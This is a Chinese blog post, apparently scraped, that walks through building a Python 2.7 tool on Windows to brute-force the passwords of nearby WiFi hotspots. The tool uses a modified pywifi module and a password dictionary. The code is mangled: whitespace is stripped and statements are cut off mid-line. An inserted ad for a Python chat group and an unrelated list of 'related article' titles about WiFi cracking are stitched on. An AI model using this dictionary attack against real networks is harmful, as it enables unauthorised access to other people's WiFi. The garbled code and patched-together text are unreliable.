前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可。

在最近的公司项目开发中接触到python语言及wifi相关的一些知识,正好将最近学到的和大家分享一下。另外注意:不管你是为了Python就业还是兴趣爱好,记住:项目开发经验永远是核心,如果你没有2020最新python入门到高级实战视频教程,可以去小编的Python交流.裙 :七衣衣九七七巴而五(数字的谐音)转换下可以找到了,里面很多新python教程项目,还可以跟老司机交流讨教!

0x0001 开发环境:

windows 10+python2.7.15

0x0002 开发目标:

开发基于字典破解wifi热点密码的小工具

在开发这个工具的时候笔者现在网上搜索到了一些项目,但都是linux下的,不能直接用于windows平台,因此就决定结合找到的linux下的项目,修改成windows下可运行的。首先找到文章《一个非常简单易懂的WIFI密码爆破python脚本》https://my.oschina.net/Apathy/blog/821039,但是文章中说使用了pywifi模块,“这个模块在win下有点鸡肋,作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装,所以推荐在linux下跑,我测试所使用的是Kali 2.0 自带python 2.7.6 ,可直接通过 pip install pywifi 安装。”但笔者在测试的时候发现,在windows下还是可以运行的,因为要对这个模块的源代码进行一些修改,所以就没有安装模块,而是直接拷贝模块的源代码到项目目录下。

0x0003 模块的修改:

在使用模块自带的测试用例时候,发现print输出了很多无用的信息,因此在_wifiutil_win.py的335行去掉对“show_my_need_info”的调用。

0x0004 程序执行流程

功能需求比较清晰,因此我们的步骤如下:1、获得本机无线网卡信息2、扫描周围wifi热点3、使用字典尝试连接wifi热点4、输出扫描结果

按照上面的流程就可以编写代码了。

0x0005 代码实现

获得无线网信息

引用模块后,主要使用interfaces函数获取本机无线网卡信息,具体代码封装如下:

defget_wifi_interface():wifi =PyWiFi()iflen(wifi.interfaces())<=0:printu'未找到无线网卡接口!'exit()iflen(wifi.interfaces())==1:printu'无线网卡接口: %s'%(wifi.interfaces()[0].name())returnwifi.interfaces()[0]else:print'%-4s %s'%(u'序号',u'网卡接口名称')fori,w inenumerate(wifi.interfaces()):print'%-4s %s'%(i,w.name())whileTrue:iface_no =raw_input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))no=int(iface_no)ifno>=0andno

扫描周围热点

主要通过scan函数获得scan_results结果,具体代码封装如下,这里sleep(2)是因为测试的时候本机的无线网卡返回信息需要一些时间,当然如果你的网卡性能好,可以去掉这个sleep:

defscan(face):face.scan()time.sleep(2)returnface.scan_results()

尝试连接(破解密码)

密码破解这里先要定义一个Profile,然后再将Profile作为参数调用connect进行连接尝试,使用status函数取连接结果的返回值,如果是const.IFACE_CONNECTED则连接成功,显示结果,如果是其他则为失败。

deftest(i,face,x,key,stu,ts):showID =x.bssid iflen(x.ssid)==0orx.ssid=='\x00'orlen(x.ssid)>len(x.bssid)elsex.ssid

key_index =0whilekey_index

profile.auth =const.AUTH_ALG_OPEN

profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher =const.CIPHER_TYPE_CCMP

profile.key =x.key

face.connect(face.add_network_profile(profile))code =-1t1 =time.time()now =time.time()-t1

whileTrue:time.sleep(0.1)code =face.status()now =time.time()-t1

ifnow>ts:breakstu.write(" %-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code)))stu.flush()ifcode ==const.IFACE_DISCONNECTED :breakelifcode ==const.IFACE_CONNECTED:face.disconnect()stu.write(" %-6s| %-18s| %5.2fs | %-6s %-15s | %-12s "%(

自学python当黑客-用Python做黑客,暴力破解wifi密码相关推荐

  1. [python爬虫]暴力破解Wifi密码

    遇到的错误 一.Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法 解决方案一: 在Pycharm中,依次打开File->Settings,弹窗如下图: 点击右侧 ...

  2. Python暴力破解wifi密码,你看了你也行

    免责声明 本文仅供参考,不建议您将此代码用于不想要的实践,否则本文/博客的作者将不承担任何责任. 需要打包好的软件关注小编,QQ群:721195303领取. 让我们开始吧 import subproc ...

  3. python暴力破解wifi密码原理

    首先,用python 函数生成一个类似的密码本,这里是5位数的,12345,qwert ,---,密码本结束完后会讲数据储存在超级密码本里],然后导入那个超级密码本再进行另一个函数比对,如果比对成功则 ...

  4. kali破解WiFi时wlan0没有变wlan0mon_黑客是如何破解WI-FI密码的?黑客破解了WI-FI之后能做什么?

    WI-FI密码破解 工具kali linux 操作系统,一款黑客专用操作系统. 1.开启无线网络监听模式 获取无线网卡名 使用命令: sudo ifconfig 开启无线网络监听使用命令 : sudo ...

  5. 怎么用python破解wifi密码?

    今天六一儿童节,跟大家分享一个有意思的案例:如何使用Python暴力破解WiFi密码 不多说什么直接开始~ 如何暴力破解 我们知道,计算机相比人类,最大的优势就是它能够重复性执行一些任务,但它永远不会 ...

  6. 用Python破解WiFi密码,太刺激了!

    来源丨网络 大家好,我是小z,也可以叫我阿粥~ 本文给大家分享的是如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 脚本从无图形和图形界面来分别实现,主要使用的是pywi ...

  7. 用Python破解WiFi密码,太刺激了

    前言 本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI爆破 import pywifi from ...

  8. 用Python破解WiFi密码,亲测有效,简直不能太爽了

    本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 现在我想wifi已经是不能离开我们的生活了吧,最少我是这么觉得,我在家,公司,以及出门基本上都要用到,不 ...

  9. Python破解WiFi密码Demo

    发个好玩的小demo  不过这不是穷举或什么的算密码的 就是读个密码本~~ 弄个破界面 好玩就发了~~ 勿怪 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI 爆破 import pywifi ...

最新文章

  1. PyTorch中的循环神经网络RNN函数及词嵌入函数介绍
  2. 如何在win10环境下运行debug
  3. 提高Web性能的前端优化技巧总结
  4. Lazada促进买家快速下单的方法是什么?店铺优惠劵使用技巧必须要知道
  5. mysql数据库元表_mysql中元数据库information_schema学习之TABLES表
  6. 安卓Queue的使用
  7. JavaScript 学习提升
  8. php phalcon.dll 下载,extension=php_phalcon.dll 安装过程
  9. web——Tomcat Maven插件及Servlet入门
  10. 不要低估AI面临的困境
  11. 打断点是什么意思_佛学基础知识(股票所说的大盘几千点,是指的什么意思)
  12. python读取数据流_IOError:读取图像fi时数据流中断
  13. lintcode-20-骰子求和
  14. 超级简单:ASP.NET输出缓存
  15. 厦门大学计算机软件学院,厦门大学软件学院研究生招生信息_厦门大学软件学院2019-研究生招生报名查询系统...
  16. LDR6028充电OTG直播线直播声卡音频转接器最具性价比方案
  17. JESD 样本量 选择 可靠性 45 77样本量
  18. 地理信息系统(GIS)网络架构
  19. 小米面试题:手机分身,电话号码隐藏。
  20. MATLAB画图---设置坐标轴为固定值(以4厘米为例)

热门文章

  1. IE9,IE10,IE11下当Content-type为application/json时,打开接口会出现下载弹框
  2. Hexo+github搭建个人博客-博客发布篇
  3. IDT 信息设计工具使用
  4. Python自动化3.0-------学习之路-------函数!
  5. HDOJ--4821--String【弦hash】
  6. Windows Phone + VB 程序员=好的移动应用程序
  7. 手机经常提示找不到服务器,经常出现找不到服务器是什么原因?什么网也打 – 手机爱问...
  8. 财务大数据比赛有python吗-如何在一个月之内掌握python数据分析,参加大数据比赛?...
  9. python可以干什么工作-Python学完工作不好找?看看数据分析可视化都可以做什么...
  10. tensorflow和python先学哪个-前辈说先学会了这些Python知识点,再谈学习人工智能!...